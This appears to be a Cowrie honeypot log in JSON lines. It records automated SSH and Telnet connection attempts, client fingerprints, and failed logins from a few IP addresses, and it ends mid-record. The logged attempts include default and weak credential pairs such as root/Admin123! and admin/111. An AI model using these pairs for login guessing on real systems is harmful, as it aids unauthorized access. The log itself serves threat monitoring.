{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51030,"dst_ip":"10.17.0.5","dst_port":22,"session":"24d5d620de26","protocol":"ssh","message":"New connection: 45.153.34.112:51030 (10.17.0.5:22) [session: 24d5d620de26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:32.274960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:32.341411Z","src_ip":"45.153.34.112","session":"24d5d620de26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:32.453093Z","src_ip":"45.153.34.112","session":"24d5d620de26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:32.713131Z","src_ip":"45.153.34.112","session":"24d5d620de26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:33.799403Z","src_ip":"45.153.34.112","session":"24d5d620de26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55526,"dst_ip":"10.17.0.5","dst_port":23,"session":"1720bdcb36dd","protocol":"telnet","message":"New connection: 192.119.13.58:55526 (10.17.0.5:23) [session: 1720bdcb36dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:34.719092Z"}
{"eventid":"cowrie.session.closed","duration":37.056721925735474,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:35.284587Z","src_ip":"192.119.13.58","session":"7b22bb87c5f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51044,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6b30eba4558","protocol":"ssh","message":"New connection: 45.153.34.112:51044 (10.17.0.5:22) [session: d6b30eba4558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:35.896274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:35.900858Z","src_ip":"45.153.34.112","session":"d6b30eba4558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:35.983031Z","src_ip":"45.153.34.112","session":"d6b30eba4558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:36.228961Z","src_ip":"45.153.34.112","session":"d6b30eba4558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33796,"dst_ip":"10.17.0.5","dst_port":23,"session":"69554ddbfdad","protocol":"telnet","message":"New connection: 192.119.13.58:33796 (10.17.0.5:23) [session: 69554ddbfdad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:36.407269Z"}
{"eventid":"cowrie.session.closed","duration":38.707682847976685,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:37.046490Z","src_ip":"192.119.13.58","session":"adc0dd34c092","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:37.347909Z","src_ip":"45.153.34.112","session":"d6b30eba4558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":36382,"dst_ip":"10.17.0.5","dst_port":22,"session":"486a3da8f216","protocol":"ssh","message":"New connection: 43.130.36.39:36382 (10.17.0.5:22) [session: 486a3da8f216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:38.747262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:38.754735Z","src_ip":"43.130.36.39","session":"486a3da8f216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:38.824223Z","src_ip":"43.130.36.39","session":"486a3da8f216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password123","message":"login attempt [deploy/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:39.131832Z","src_ip":"43.130.36.39","session":"486a3da8f216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51060,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebc99c0c6ebe","protocol":"ssh","message":"New connection: 45.153.34.112:51060 (10.17.0.5:22) [session: ebc99c0c6ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:39.271589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:39.277063Z","src_ip":"45.153.34.112","session":"ebc99c0c6ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:39.359943Z","src_ip":"45.153.34.112","session":"ebc99c0c6ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:39.823042Z","src_ip":"45.153.34.112","session":"ebc99c0c6ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:40.205073Z","src_ip":"43.130.36.39","session":"486a3da8f216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:40.907959Z","src_ip":"45.153.34.112","session":"ebc99c0c6ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.1521201133728,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:42.784930Z","src_ip":"192.119.13.58","session":"79eae0355030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42426,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e7291a6ebc0","protocol":"ssh","message":"New connection: 45.153.34.112:42426 (10.17.0.5:22) [session: 6e7291a6ebc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:42.893061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:42.897650Z","src_ip":"45.153.34.112","session":"6e7291a6ebc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:42.979758Z","src_ip":"45.153.34.112","session":"6e7291a6ebc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:43.228676Z","src_ip":"45.153.34.112","session":"6e7291a6ebc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37768,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd663d738524","protocol":"telnet","message":"New connection: 192.119.13.58:37768 (10.17.0.5:23) [session: cd663d738524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:44.065927Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:44.313385Z","src_ip":"45.153.34.112","session":"6e7291a6ebc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46032,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa2224ae7538","protocol":"telnet","message":"New connection: 192.119.13.58:46032 (10.17.0.5:23) [session: fa2224ae7538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:46.032879Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42442,"dst_ip":"10.17.0.5","dst_port":22,"session":"38d315c978d0","protocol":"ssh","message":"New connection: 45.153.34.112:42442 (10.17.0.5:22) [session: 38d315c978d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:46.292665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:46.297496Z","src_ip":"45.153.34.112","session":"38d315c978d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:46.386767Z","src_ip":"45.153.34.112","session":"38d315c978d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:46.633868Z","src_ip":"45.153.34.112","session":"38d315c978d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:47.718002Z","src_ip":"45.153.34.112","session":"38d315c978d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56248,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7cbc7802e7f","protocol":"telnet","message":"New connection: 192.119.13.58:56248 (10.17.0.5:23) [session: e7cbc7802e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:49.524116Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36112,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1513be8b25a","protocol":"ssh","message":"New connection: 45.153.34.112:36112 (10.17.0.5:22) [session: c1513be8b25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:49.984585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:49.989079Z","src_ip":"45.153.34.112","session":"c1513be8b25a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:50.070829Z","src_ip":"45.153.34.112","session":"c1513be8b25a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:50.318424Z","src_ip":"45.153.34.112","session":"c1513be8b25a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:51.403455Z","src_ip":"45.153.34.112","session":"c1513be8b25a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.19371008872986,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:52.454298Z","src_ip":"192.119.13.58","session":"f0f716eb8a22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36116,"dst_ip":"10.17.0.5","dst_port":22,"session":"423836657499","protocol":"ssh","message":"New connection: 45.153.34.112:36116 (10.17.0.5:22) [session: 423836657499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:53.399755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:53.407590Z","src_ip":"45.153.34.112","session":"423836657499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","s